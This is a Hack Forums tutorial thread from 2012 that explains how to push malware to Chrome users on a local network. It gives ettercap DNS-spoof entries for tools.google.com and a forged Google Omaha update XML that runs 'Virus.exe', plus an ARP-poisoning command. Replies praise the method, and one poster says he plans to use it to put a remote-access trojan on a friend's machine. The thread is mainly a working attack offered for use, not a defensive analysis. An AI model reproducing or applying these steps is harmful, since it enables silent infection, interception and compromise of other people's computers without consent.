[TUT] Instantly infect anyone on your network running Chrome

[TUT] Instantly infect anyone on your network running Chrome - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [TUT] Instantly infect anyone on your network running Chrome (/showthread.php?tid=2967930)

Pages: Pages 1 2 3 4

[TUT] Instantly infect anyone on your network running Chrome - KILLM3 - Oct 24, 2012

WARNING: This is not a spoonfed tutorial. If you are looking for an easy, automated way to do this, look elsewhere.

Suggested requirements:
Apache and ettercap OR Backtrack

Givens:
IP 111.111.111.111 is YOU
IP 222.222.222.22X are the victims

Let's begin:
Google Chrome has a great little auto-update feature that runs every 15 minutes or so and downloads and runs an update [EXE]. By tricking the victim's computer into thinking, you are the update server, you can make anyone running GC on your network run your EXE silently.

Let's start off with the basic background knowledge.

We're going to need to DNS poison the network and tell them that you are the update server.

(Please note, commands are done as if running backtrack)

Code 
find etter.dns

Copy the path to etter.dns and then

Code 
nano /path/to/etter.dns

You will be presented with the edittable DNS file.
You want to add an entry of

Code 
"tools.google.com A 111.111.111.111

*tools.google.com A 111.111.111.111

www.tools.google.com A 111.111.111.111

CTRL + X and save that shit.

Now, lets set up our server to server Virus.exe:
Direct all requests to your server to the following XML document we will make.
(For more info on the XML format, see Google's Omaha Server Protocol v3)

First we need to gather our info.
Are we hitting 32-bit chrome, or 64-bit?
For this example I'll be doing 64-bit, but you can easily grab the ID for 32-bit with Wireshark.

64-bit means that
appid="4DC8B4CA-1DBA-483E-B5FA-D3C12E15B62D"

Now, we have our Virus.exe
Take the Sha-1(base-64) hash of the Virus.exe
EX:VXriGUVI0TNqfLlU02vBel4Q3Zo=

Then we craft our XML to serve:

Code 
<?xml version="1.0" encoding="UTF-8"?>

<response protocol="3.0" server="prod">

  <daystart elapsed_seconds="56508"/>

  <app appid="{4DC8B4CA-1DBA-483E-B5FA-D3C12E15B62D}" status="ok">

    <updatecheck status="ok">

  <urls>

  <url codebase="111.111.111.111"/>

  </urls>

  <packages>

    <package hash="VXriGUVI0TNqfLlU02vBel4Q3Zo=" name="Virus.exe" required="true" size="2983"/>

  </packages>

  <actions>

    <action arguments="" event="install" run="Virus.exe"/>

  </actions>

  </manifest>

    </updatecheck>

    <ping status="ok"/>

  </app>

</response>

Host the XML in the root of your server along with Virus.exe

Then open ettercap and

Code 
ettercap -T -q -i wlan0 -P dns_spoof -M arp // //

And now anytime GC goes to update, it will grab your virus instead of the actual update.

* - zetza - Oct 24, 2012

Thanks for posting this, I don't need it, but I some people who might feel this handy :)

Thanks!

* - Anag0n - Oct 24, 2012

I dont understand where to put the command find etter.dns.. You write that it's done as using backtrack, but what do you exactly mean? Is it like writing it in the terminal or ? Else a really nice tutorial and a good discovery :)!

* - Fatty™ - Oct 24, 2012

Great tutorial man, Will try this tonight. Cheers.

* - BanTeR - Oct 24, 2012

Nice tutorial bro I dont have backtrack but looks legit

* - Sought - Oct 24, 2012

This is a very well spoken article thanks it could come in useful.

* - Cletus - Oct 24, 2012

Great thread bro, very useful.
Definitely getting a 5 star.

* - Crenellations - Oct 24, 2012

Will this work with an ethernet connection to the network?

I guess I am just unsure...are we changing a local file on each computer in the network or does the router hold this file somehow..?

* - badwayz - Oct 24, 2012

Nice, shame most use IE, and those who do are easy to manipulate lol

thanks

* - ‌‌O‌‌liver - Oct 25, 2012

Wow, this is a good find, thanks for sharing ;)

* - Whiteh4t - Oct 25, 2012

Nice tut. but you could use cain if your on windows and just host a java drive by.

* - n00b.ca - Oct 25, 2012

Another great tutorial, thanks! Looking forward to more.

* - aries93 - Oct 25, 2012

thanks for this maybe now i can get my friend ratted as he always plays pranks on me and i cant get onto his machine :D

* - Unacknowledged - Oct 25, 2012

Very nice tutorial, bookmarking it for future reference.

* - EmperorDAZ - Oct 26, 2012

Very nice tutorial indeed. Thanks for sharing, bookmarking it right now.